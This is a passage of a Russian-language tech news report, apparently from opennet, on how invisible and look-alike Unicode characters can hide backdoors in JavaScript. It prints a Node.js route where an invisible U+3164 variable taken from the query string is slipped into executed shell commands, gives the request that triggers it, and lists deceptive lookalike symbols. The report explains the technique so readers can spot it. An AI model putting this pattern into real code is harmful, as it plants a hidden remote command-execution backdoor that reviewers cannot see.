ECMAScript 2015 для использования в именах переменных JavaScript, что даёт возможность создавать невидимые переменные или новые переменные, не отличимые от других переменных в популярных редакторах кода, таких как Notepad++ и VS Code.
В качестве примера приводится код для платформы Node.js, в котором при помощи переменной, состоящей из одного символа «ㅤ», скрыт бэкдор, позволяющий выполнить указанный злоумышленником код:
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query; // на деле указано "const { timeout,ㅤ u3164}"
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ // после запятой следует символ u3164
];
На первый взгляд через внешний параметр передаётся только значение timeout, а массив с выполняемыми командами содержит безобидный фиксированный список. Но на деле после переменной timeout присваивается значение ещё одной невидимой переменной с кодом символа u3164, которая также подставлена в массив исполняемых команд. Таким образом, при наличии подобной конструкции для активации бэкдора и выполнения своего кода атакующий может отправить запрос вида «https://host:8080/network_health?%E3%85%A4=команда».
В качестве ещё одного примера приводится символ «ǃ» (ALVEOLAR CLICK), который может использоваться для создания видимости указания восклицательного знака. Например, выражение «if(environmentǃ=ENV_PROD){» при выполнении в Node.js 14 всегда будет истинным, так как в нём осуществляется не проверка отличия, а присвоение переменной «environmentǃ» значения ENV_PROD. Среди вводящих в заблуждение unicode-символов, также отмечаются «/», «−», «+», «⩵», «❨», «⫽», «꓿» и «∗».
Источник: http://www.opennet.ru/opennews/art.shtml?num=56131
